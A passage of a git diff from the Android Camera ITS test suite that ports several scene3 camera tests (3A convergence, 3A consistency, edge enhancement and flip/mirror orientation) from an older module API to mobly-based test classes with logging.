+  req = capture_request_utils.auto_capture_request()
+  req['android.control.afMode'] = _CONTINUOUS_PICTURE_MODE
+  fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+  caps = cam.do_capture([req]*_NUM_FRAMES, fmt)
+
+  # Extract frame metadata and frame.
+  for i, cap in enumerate(caps):
+    md = cap['metadata']
+    exp = md['android.sensor.exposureTime']
+    iso = md['android.sensor.sensitivity']
+    fd = md['android.lens.focalLength']
+    ae_state = md['android.control.aeState']
+    af_state = md['android.control.afState']
+    awb_state = md['android.control.awbState']
+    fd_str = 'infinity'
+    if fd != 0.0:
+      fd_str = '%.2fcm' % (_M_TO_CM/fd)
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    green_mean = image_processing_utils.compute_image_means(patch)[_RGB_G_CH]
+    logging.debug(
+        '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f, [ae,af,awb]'
+        ': [%d,%d,%d]', i, iso, exp * _NS_TO_MS, fd_str, green_mean, ae_state,
+        af_state, awb_state)
+    cap_3a_state_list.append([ae_state, af_state, awb_state])
+    if debug:
+      image_processing_utils.write_image(
+          img, '%s_%d.jpg' % (os.path.join(log_path, _NAME), i))
+  return cap_3a_state_list
 
 
-def main():
-    """Test 3A converges in CONTINUOUS_PICTURE mode.
+class ContinuousPictureTest(its_base_test.ItsBaseTest):
+  """Test 3A converges in CONTINUOUS_PICTURE mode.
 
-    Set camera into CONTINUOUS_PICTURE mode and do NUM_FRAMES capture.
-    By the end of NUM_FRAMES capture, 3A should be in converged state.
-    """
+  Sets camera into CONTINUOUS_PICTURE mode and does NUM_FRAMES capture.
+  By the end of NUM_FRAMES capture, 3A should be in converged state.
+  Converged state is [2, 2, 2] for [AE, AF, AWB]
 
-    # check for skip conditions and do 3a up front
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.continuous_picture(props) and
-                             its.caps.read_3a(props))
-        debug = its.caps.debug_mode()
-        cam.do_3a()
+  State information:
+    AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
+                4: FLASH_REQ, 5: PRECAPTURE}
+    AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
+                3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
+                6: PASSIVE_UNFOCUSED}
+    AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
+  """
 
-        # ensure 3a settles in CONTINUOUS_PICTURE mode with no scene change
-        cap_data = capture_frames(cam, debug)
-        final_3a = cap_data[NUM_FRAMES-1]['3a_state']
-        msg = '\n Last frame [ae, af, awb] state: [%d, %d, %d]' % (
-                final_3a[0], final_3a[1], final_3a[2])
-        msg += '\n Converged states:' + str(CONVERGED_3A)
-        assert final_3a == CONVERGED_3A, msg
+  def test_continuous_picture(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+      debug = self.debug_mode
 
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.continuous_picture(props) and
+          camera_properties_utils.read_3a(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do 3A up front.
+      cam.do_3a()
+
+      # Ensure 3A settles in CONTINUOUS_PICTURE mode with no scene change.
+      cap_3a_state_list = _capture_frames(cam, log_path, debug)
+      final_3a = cap_3a_state_list[_NUM_FRAMES-1]
+      if final_3a != list(_CONVERGED_3A):
+        raise AssertionError(
+            f'Last frame [AE,AF,AWB]: {final_3a}. CONVERGED: {_CONVERGED_3A}.')
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
+
diff --git a/apps/CameraITS/tests/scene3/test_3a_consistency.py b/apps/CameraITS/tests/scene3/test_3a_consistency.py
index e86da42..71469fe 100644
--- a/apps/CameraITS/tests/scene3/test_3a_consistency.py
+++ b/apps/CameraITS/tests/scene3/test_3a_consistency.py
@@ -11,55 +11,138 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies 3A settles consistently 3x."""
 
-import its.caps
-import its.device
-import its.target
 
+import logging
+import os.path
+
+from mobly import test_runner
 import numpy as np
 
-GGAIN_TOL = 0.1
-FD_TOL = 0.1
-ISO_EXP_TOL = 0.1
-NUM_TEST_ITERATIONS = 3
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import its_session_utils
 
 
-def main():
-    """Basic test for 3A consistency.
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
 
-    To pass, 3A must converge for exp, gain, awb, fd within TOL.
-    """
+_AWB_GREEN_CH = 2
+_GGAIN_TOL = 0.1
+_FD_TOL = 0.1
+_ISO_EXP_ISP_TOL = 0.2   # TOL used w/o postRawCapabilityBoost not available.
+_ISO_EXP_TOL = 0.16  # TOL used w/ postRawCapabilityBoost available
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props))
-        mono_camera = its.caps.mono_camera(props)
+_NUM_TEST_ITERATIONS = 3
 
-        iso_exps = []
-        g_gains = []
-        fds = []
-        for _ in range(NUM_TEST_ITERATIONS):
-            try:
-                s, e, gains, xform, fd = cam.do_3a(get_results=True,
-                                                   mono_camera=mono_camera)
-                print ' iso: %d, exposure: %d, iso*exp: %d' % (s, e, e*s)
-                print ' awb_gains', gains, 'awb_transform', xform
-                print ' fd', fd
-                print ''
-                iso_exps.append(e*s)
-                g_gains.append(gains[2])
-                fds.append(fd)
-            except its.error.Error:
-                print ' FAIL\n'
-        assert len(iso_exps) == NUM_TEST_ITERATIONS
-        assert np.isclose(np.amax(iso_exps), np.amin(iso_exps), ISO_EXP_TOL)
-        assert np.isclose(np.amax(g_gains), np.amin(g_gains), GGAIN_TOL)
-        assert np.isclose(np.amax(fds), np.amin(fds), FD_TOL)
-        for g in gains:
-            assert not np.isnan(g)
-        for x in xform:
-            assert not np.isnan(x)
+
+class ConsistencyTest(its_base_test.ItsBaseTest):
+  """Basic test for 3A consistency.
+
+  To PASS, 3A must converge for exp, gain, awb, fd within defined TOLs.
+  TOLs are based on camera capabilities. If postRawSensitivityBoost can be
+  fixed TOL is tighter. The TOL values in the CONSTANTS area are described in
+  b/144452069.
+
+  Note ISO and sensitivity are interchangeable for Android cameras.
+  """
+
+  def test_3a_consistency(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Set postRawSensitivityBoost to minimum if available.
+      req = capture_request_utils.auto_capture_request()
+      if camera_properties_utils.post_raw_sensitivity_boost(props):
+        min_iso_boost, _ = props['android.control.postRawSensitivityBoostRange']
+        req['android.control.postRawSensitivityBoost'] = min_iso_boost
+        iso_exp_tol = _ISO_EXP_TOL
+        logging.debug('Setting post RAW sensitivity boost to minimum')
+      else:
+        iso_exp_tol = _ISO_EXP_ISP_TOL
+
+      # Do 3A and save data.
+      iso_exps = []
+      g_gains = []
+      fds = []
+      for i in range(_NUM_TEST_ITERATIONS):
+        try:
+          iso, exposure, awb_gains, awb_transform, focus_distance = cam.do_3a(
+              get_results=True, mono_camera=mono_camera)
+          logging.debug('req iso: %d, exp: %d, iso*exp: %d',
+                        iso, exposure, exposure * iso)
+          logging.debug('req awb_gains: %s, awb_transform: %s',
+                        awb_gains, awb_transform)
+          logging.debug('req fd: %s', focus_distance)
+          req = capture_request_utils.manual_capture_request(
+              iso, exposure, focus_distance)
+          cap = cam.do_capture(req, cam.CAP_YUV)
+          if debug:
+            img = image_processing_utils.convert_capture_to_rgb_image(cap)
+            img_name = '%s_%d.jpg' % (os.path.join(self.log_path, _NAME), i)
+            image_processing_utils.write_image(img, img_name)
+
+          # Extract and save metadata.
+          iso_result = cap['metadata']['android.sensor.sensitivity']
+          exposure_result = cap['metadata']['android.sensor.exposureTime']
+          awb_gains_result = cap['metadata']['android.colorCorrection.gains']
+          awb_transform_result = capture_request_utils.rational_to_float(
+              cap['metadata']['android.colorCorrection.transform'])
+          focus_distance_result = cap['metadata']['android.lens.focusDistance']
+          logging.debug(
+              'res iso: %d, exposure: %d, iso*exp: %d',
+              iso_result, exposure_result, exposure_result*iso_result)
+          logging.debug('res awb_gains: %s, awb_transform: %s',
+                        awb_gains_result, awb_transform_result)
+          logging.debug('res fd: %s', focus_distance_result)
+          iso_exps.append(exposure_result*iso_result)
+          g_gains.append(awb_gains_result[_AWB_GREEN_CH])
+          fds.append(focus_distance_result)
+        except error_util.CameraItsError:
+          logging.debug('FAIL')
+
+      # Check for correct behavior.
+      if len(iso_exps) != _NUM_TEST_ITERATIONS:
+        raise AssertionError(f'number of captures: {len(iso_exps)}, '
+                             f'NUM_TEST_ITERATIONS: {_NUM_TEST_ITERATIONS}.')
+      iso_exp_min = np.amin(iso_exps)
+      iso_exp_max = np.amax(iso_exps)
+      if not np.isclose(iso_exp_max, iso_exp_min, iso_exp_tol):
+        raise AssertionError(f'ISO*exp min: {iso_exp_min}, max: {iso_exp_max}, '
+                             f'TOL:{iso_exp_tol}')
+      g_gain_min = np.amin(g_gains)
+      g_gain_max = np.amax(g_gains)
+      if not np.isclose(g_gain_max, g_gain_min, _GGAIN_TOL):
+        raise AssertionError(f'G gain min: {g_gain_min}, max: {g_gain_min}, '
+                             f'TOL: {_GGAIN_TOL}')
+      fd_min = np.amin(fds)
+      fd_max = np.amax(fds)
+      if not np.isclose(fd_max, fd_min, _FD_TOL):
+        raise AssertionError(f'FD min: {fd_min}, max: {fd_min} TOL: {_FD_TOL}')
+      for g in awb_gains:
+        if np.isnan(g):
+          raise AssertionError('AWB gain entry is not a number.')
+      for x in awb_transform:
+        if np.isnan(x):
+          raise AssertionError('AWB transform entry is not a number.')
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
index 5f6efc8..9539971 100644
--- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
@@ -11,129 +11,154 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.edge.mode works properly."""
 
-import os.path
 
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
-import its.target
+import logging
+import os
+from mobly import test_runner
+import numpy as np
 
-import numpy
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
 
-NAME = os.path.basename(__file__).split(".")[0]
+EDGE_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'ZSL': 3}
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_SAMPLES = 4
-THRESH_REL_SHARPNESS_DIFF = 0.1
+SHARPNESS_RTOL = 0.1
 
 
-def test_edge_mode(cam, edge_mode, sensitivity, exp, fd, out_surface, chart):
-    """Return sharpness of the output image and the capture result metadata.
+def do_capture_and_determine_sharpness(
+    cam, edge_mode, sensitivity, exp, fd, out_surface, chart, log_path):
+  """Return sharpness of the output image and the capture result metadata.
 
-       Processes a capture request with a given edge mode, sensitivity, exposure
-       time, focus distance, output surface parameter.
+     Processes a capture request with a given edge mode, sensitivity, exposure
+     time, focus distance, output surface parameter.
 
-    Args:
-        cam: An open device session.
-        edge_mode: Edge mode for the request as defined in android.edge.mode
-        sensitivity: Sensitivity for the request as defined in
-            android.sensor.sensitivity
-        exp: Exposure time for the request as defined in
-            android.sensor.exposureTime.
-        fd: Focus distance for the request as defined in
-            android.lens.focusDistance
-        out_surface: Specifications of the output image format and size.
-        chart: object that contains chart information
+  Args:
+    cam: An open device session.
+    edge_mode: Edge mode for the request as defined in android.edge.mode
+    sensitivity: Sensitivity for the request as defined in
+                 android.sensor.sensitivity
+    exp: Exposure time for the request as defined in
+         android.sensor.exposureTime.
+    fd: Focus distance for the request as defined in
+        android.lens.focusDistance
+    out_surface: Specifications of the output image format and size.
+    chart: object that contains chart information
+    log_path: path to write result images
 
-    Returns:
-        Object containing reported edge mode and the sharpness of the output
-        image, keyed by the following strings:
-            "edge_mode"
-            "sharpness"
-    """
+  Returns:
+    Object containing reported edge mode and the sharpness of the output
+    image, keyed by the following strings:
+        edge_mode
+        sharpness
+  """
 
-    req = its.objects.manual_capture_request(sensitivity, exp)
-    req["android.lens.focusDistance"] = fd
-    req["android.edge.mode"] = edge_mode
+  req = capture_request_utils.manual_capture_request(sensitivity, exp)
+  req['android.lens.focusDistance'] = fd
+  req['android.edge.mode'] = edge_mode
 
-    sharpness_list = []
-    for n in range(NUM_SAMPLES):
-        cap = cam.do_capture(req, out_surface, repeat_request=req)
-        y, _, _ = its.image.convert_capture_to_planes(cap)
-        chart.img = its.image.normalize_img(its.image.get_image_patch(
-                y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
-        if n == 0:
-            its.image.write_image(
-                    chart.img, "%s_edge=%d.jpg" % (NAME, edge_mode))
-            res_edge_mode = cap["metadata"]["android.edge.mode"]
-        sharpness_list.append(its.image.compute_image_sharpness(chart.img))
+  sharpness_list = []
+  for n in range(NUM_SAMPLES):
+    cap = cam.do_capture(req, out_surface, repeat_request=req)
+    y, _, _ = image_processing_utils.convert_capture_to_planes(cap)
+    chart.img = image_processing_utils.normalize_img(
+        image_processing_utils.get_image_patch(
+            y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+    if n == 0:
+      image_processing_utils.write_image(
+          chart.img, '%s_edge=%d.jpg' % (
+              os.path.join(log_path, NAME), edge_mode))
+      edge_mode_res = cap['metadata']['android.edge.mode']
+    sharpness_list.append(
+        image_processing_utils.compute_image_sharpness(chart.img))
 
-    ret = {}
-    ret["edge_mode"] = res_edge_mode
-    ret["sharpness"] = numpy.mean(sharpness_list)
-
-    return ret
+  return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
 
 
-def main():
-    """Test that the android.edge.mode param is applied correctly.
+class EdgeEnhancementTest(its_base_test.ItsBaseTest):
+  """Test that the android.edge.mode param is applied correctly.
 
-    Capture non-reprocess images for each edge mode and calculate their
-    sharpness as a baseline.
-    """
+  Capture non-reprocess images for each edge mode and calculate their
+  sharpness as a baseline.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
+  def test_edge_enhancement(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      chart_loc_arg = self.chart_loc_arg
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.edge_mode(props, 0))
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.edge_mode(props, 0))
 
-    # initialize chart class and locate chart in scene
-    chart = its.cv2image.Chart()
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-    with its.device.ItsSession() as cam:
-        mono_camera = its.caps.mono_camera(props)
-        test_fmt = "yuv"
-        size = its.objects.get_available_output_sizes(test_fmt, props)[0]
-        out_surface = {"width": size[0], "height": size[1], "format": test_fmt}
+      # Initialize chart class and locate chart in scene
+      chart = opencv_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
 
-        # Get proper sensitivity, exposure time, and focus distance.
-        s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+      # Define format
+      fmt = 'yuv'
+      size = capture_request_utils.get_available_output_sizes(fmt, props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
 
-        # Get the sharpness for each edge mode for regular requests
-        sharpness_regular = []
-        edge_mode_reported_regular = []
-        for edge_mode in range(4):
-            # Skip unavailable modes
-            if not its.caps.edge_mode(props, edge_mode):
-                edge_mode_reported_regular.append(edge_mode)
-                sharpness_regular.append(0)
-                continue
-            ret = test_edge_mode(cam, edge_mode, s, e, fd, out_surface, chart)
-            edge_mode_reported_regular.append(ret["edge_mode"])
-            sharpness_regular.append(ret["sharpness"])
+      # Get proper sensitivity, exposure time, and focus distance.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
 
-        print "Reported edge modes:", edge_mode_reported_regular
-        print "Sharpness with EE mode [0,1,2,3]:", sharpness_regular
+      # Get the sharpness for each edge mode for regular requests
+      sharpness_regular = []
+      edge_mode_reported_regular = []
+      for edge_mode in EDGE_MODES.values():
+        # Skip unavailable modes
+        if not camera_properties_utils.edge_mode(props, edge_mode):
+          edge_mode_reported_regular.append(edge_mode)
+          sharpness_regular.append(0)
+          continue
 
-        print "Verify HQ(2) is sharper than OFF(0)"
-        assert sharpness_regular[2] > sharpness_regular[0]
+        ret = do_capture_and_determine_sharpness(
+            cam, edge_mode, s, e, fd, out_surface, chart, self.log_path)
+        edge_mode_reported_regular.append(ret['edge_mode'])
+        sharpness_regular.append(ret['sharpness'])
 
-        print "Verify OFF(0) is not sharper than FAST(1)"
-        msg = "FAST: %.3f, OFF: %.3f, TOL: %.2f" % (
-                sharpness_regular[1], sharpness_regular[0],
-                THRESH_REL_SHARPNESS_DIFF)
-        assert (sharpness_regular[1] >
-                sharpness_regular[0] * (1.0 - THRESH_REL_SHARPNESS_DIFF)), msg
+      logging.debug('Reported edge modes: %s', edge_mode_reported_regular)
+      logging.debug('Sharpness with EE mode [0,1,2,3]: %s',
+                    str(sharpness_regular))
 
-        # Verify FAST(1) is not sharper than HQ(2)
-        msg = "HQ: %.3f, FAST: %.3f, TOL: %.2f" % (
-                sharpness_regular[2], sharpness_regular[1],
-                THRESH_REL_SHARPNESS_DIFF)
-        assert (sharpness_regular[2] >
-                sharpness_regular[1] * (1.0 - THRESH_REL_SHARPNESS_DIFF)), msg
+      logging.debug('Verify HQ is sharper than OFF')
+      e_msg = 'HQ: %.3f, OFF: %.3f' % (sharpness_regular[EDGE_MODES['HQ']],
+                                       sharpness_regular[EDGE_MODES['OFF']])
+      assert (sharpness_regular[EDGE_MODES['HQ']] >
+              sharpness_regular[EDGE_MODES['OFF']]), e_msg
 
-if __name__ == "__main__":
-    main()
+      logging.debug('Verify OFF is not sharper than FAST')
+      e_msg = 'FAST: %.3f, OFF: %.3f, RTOL: %.2f' % (
+          sharpness_regular[EDGE_MODES['FAST']],
+          sharpness_regular[EDGE_MODES['OFF']], SHARPNESS_RTOL)
+      assert (sharpness_regular[EDGE_MODES['FAST']] >
+              sharpness_regular[EDGE_MODES['OFF']]*(1.0-SHARPNESS_RTOL)), e_msg
+
+      logging.debug('Verify FAST is not sharper than HQ')
+      e_msg = 'HQ: %.3f, FAST: %.3f, RTOL: %.2f' % (
+          sharpness_regular[EDGE_MODES['HQ']],
+          sharpness_regular[EDGE_MODES['FAST']], SHARPNESS_RTOL)
+      assert (sharpness_regular[EDGE_MODES['HQ']] >
+              sharpness_regular[EDGE_MODES['FAST']]*(1.0-SHARPNESS_RTOL)), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 0a90712..44e8269 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -1,133 +1,160 @@
 # Copyright 2016 The Android Open Source Project
 #
-# Licensed under the Apache License, Version 2.0 (the 'License');
+# Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
 # You may obtain a copy of the License at
 #
 #      http://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
+# distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies image is not flipped or mirrored."""
 
+
+import logging
 import os
-import cv2
 
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
-NAME = os.path.basename(__file__).split('.')[0]
-CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
-                          'test_images', 'ISO12233.png')
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
 CHART_ORIENTATIONS = ['nominal', 'flip', 'mirror', 'rotate']
-VGA_WIDTH = 640
-VGA_HEIGHT = 480
-(X_CROP, Y_CROP) = (0.5, 0.5)  # crop center area of ISO12233 chart
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.5  # center 50%
+PATCH_W = 0.5
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+VGA_W, VGA_H = 640, 480
 
 
-def test_flip_mirror(cam, props, fmt, chart):
-    """Return if image is flipped or mirrored.
+def test_flip_mirror_impl(cam, props, fmt, chart, debug, log_path):
 
-    Args:
-        cam (class): An open device session
-        props (class): Properties of cam
-        fmt (dict): Capture format
-        chart (class): Object with chart properties
+  """Return if image is flipped or mirrored.
 
-    Returns:
-        boolean: True if flipped, False if not
-    """
+  Args:
+   cam : An open its session.
+   props : Properties of cam.
+   fmt : dict,Capture format.
+   chart: Object with chart properties.
+   debug: boolean,whether to run test in debug mode or not.
+   log_path: log_path to save the captured image.
 
-    # determine if monochrome camera
-    mono_camera = its.caps.mono_camera(props)
+  Returns:
+    boolean: True if flipped, False if not
+  """
 
-    # determine if in debug mode
-    debug = its.caps.debug_mode()
+  # determine if monochrome camera
+  mono_camera = camera_properties_utils.mono_camera(props)
 
-    # get a local copy of the chart template
-    template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
+  # get a local copy of the chart template
+  template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH)
 
-    # take img, crop chart, scale and prep for cv2 template match
-    s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
-    req = its.objects.manual_capture_request(s, e, fd)
-    cap = cam.do_capture(req, fmt)
-    y, _, _ = its.image.convert_capture_to_planes(cap, props)
-    y = its.image.rotate_img_per_argv(y)
-    patch = its.image.get_image_patch(y, chart.xnorm, chart.ynorm,
-                                      chart.wnorm, chart.hnorm)
-    patch = 255 * its.cv2image.gray_scale_img(patch)
-    patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
+  # take img, crop chart, scale and prep for cv2 template match
+  s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
+  req = capture_request_utils.manual_capture_request(s, e, fd)
+  cap = cam.do_capture(req, fmt)
+  y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
+  y = image_processing_utils.rotate_img_per_argv(y)
+  patch = image_processing_utils.get_image_patch(y, chart.xnorm, chart.ynorm,
+                                                 chart.wnorm, chart.hnorm)
+  patch = 255 * opencv_processing_utils.gray_scale_img(patch)
+  patch = opencv_processing_utils.scale_img(
+      patch.astype(np.uint8), chart.scale)
 
-    # validity check on image
-    assert np.max(patch)-np.min(patch) > 255/8
+  # check image has content
+  assert np.max(patch)-np.min(patch) > 255/8
 
-    # save full images if in debug
+  # save full images if in debug
+  if debug:
+    image_processing_utils.write_image(
+        template[:, :, np.newaxis] / 255.0,
+        '%s_template.jpg' % os.path.join(log_path, NAME))
+
+  # save patch
+  image_processing_utils.write_image(
+      patch[:, :, np.newaxis] / 255.0,
+      '%s_scene_patch.jpg' % os.path.join(log_path, NAME))
+
+  # crop center areas and strip off any extra rows/columns
+  template = image_processing_utils.get_image_patch(
+      template, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  patch = image_processing_utils.get_image_patch(
+      patch, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  patch = patch[0:min(patch.shape[0], template.shape[0]),
+                0:min(patch.shape[1], template.shape[1])]
+  comp_chart = patch
+
+  # determine optimum orientation
+  opts = []
+  for orientation in CHART_ORIENTATIONS:
+    if orientation == 'flip':
+      comp_chart = np.flipud(patch)
+    elif orientation == 'mirror':
+      comp_chart = np.fliplr(patch)
+    elif orientation == 'rotate':
+      comp_chart = np.flipud(np.fliplr(patch))
+    correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
+    _, opt_val, _, _ = cv2.minMaxLoc(correlation)
     if debug:
-        its.image.write_image(template[:, :, np.newaxis]/255.0,
-                              '%s_template.jpg' % NAME)
+      cv2.imwrite('%s_%s.jpg' % (os.path.join(log_path, NAME), orientation),
+                  comp_chart)
+    logging.debug('%s correlation value: %d', orientation, opt_val)
+    opts.append(opt_val)
 
-    # save patch
-    its.image.write_image(patch[:, :, np.newaxis]/255.0,
-                          '%s_scene_patch.jpg' % NAME)
-
-    # crop center areas and strip off any extra rows/columns
-    template = its.image.get_image_patch(template, (1-X_CROP)/2, (1-Y_CROP)/2,
-                                         X_CROP, Y_CROP)
-    patch = its.image.get_image_patch(patch, (1-X_CROP)/2,
-                                      (1-Y_CROP)/2, X_CROP, Y_CROP)
-    patch = patch[0:min(patch.shape[0], template.shape[0]),
-                  0:min(patch.shape[1], template.shape[1])]
-    comp_chart = patch
-
-    # determine optimum orientation
-    opts = []
-    for orientation in CHART_ORIENTATIONS:
-        if orientation == 'flip':
-            comp_chart = np.flipud(patch)
-        elif orientation == 'mirror':
-            comp_chart = np.fliplr(patch)
-        elif orientation == 'rotate':
-            comp_chart = np.flipud(np.fliplr(patch))
-        correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
-        _, opt_val, _, _ = cv2.minMaxLoc(correlation)
-        if debug:
-            cv2.imwrite('%s_%s.jpg' % (NAME, orientation), comp_chart)
-        print ' %s correlation value: %d' % (orientation, opt_val)
-        opts.append(opt_val)
-
-    # determine if 'nominal' or 'rotated' is best orientation
-    assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
-    assert assert_flag, ('Optimum orientation is %s' %
-                         CHART_ORIENTATIONS[np.argmax(opts)])
-    # print warning if rotated
-    if opts[3] == max(opts):
-        print 'Image is rotated 180 degrees. Try "rotate" flag.'
+  # determine if 'nominal' or 'rotated' is best orientation
+  assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
+  assert assert_flag, ('Optimum orientation is %s' %
+                       CHART_ORIENTATIONS[np.argmax(opts)])
+  # print warning if rotated
+  if opts[3] == max(opts):
+    logging.warning('Image is rotated 180 degrees. Try "rotate" flag.')
 
 
-def main():
+class FlipMirrorTest(its_base_test.ItsBaseTest):
+  """Test to verify if the image is flipped or mirrored.
+  """
+
+  def test_flip_mirror(self):
     """Test if image is properly oriented."""
 
-    print '\nStarting test_flip_mirror.py'
+    logging.debug('Starting %s', NAME)
 
-    # check skip conditions
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props))
-    # initialize chart class and locate chart in scene
-    chart = its.cv2image.Chart()
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
+      chart_loc_arg = self.chart_loc_arg
 
-    with its.device.ItsSession() as cam:
-        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # test that image is not flipped, mirrored, or rotated
-        test_flip_mirror(cam, props, fmt, chart)
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+
+      # initialize chart class and locate chart in scene
+      chart = opencv_processing_utils.Chart(
+          cam, props, self.log_path, chart_loc=chart_loc_arg)
+      fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+
+      # test that image is not flipped, mirrored, or rotated
+      test_flip_mirror_impl(cam, props, fmt, chart, debug, self.log_path)
 
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
index 0862b3b..9eba414 100644
--- a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
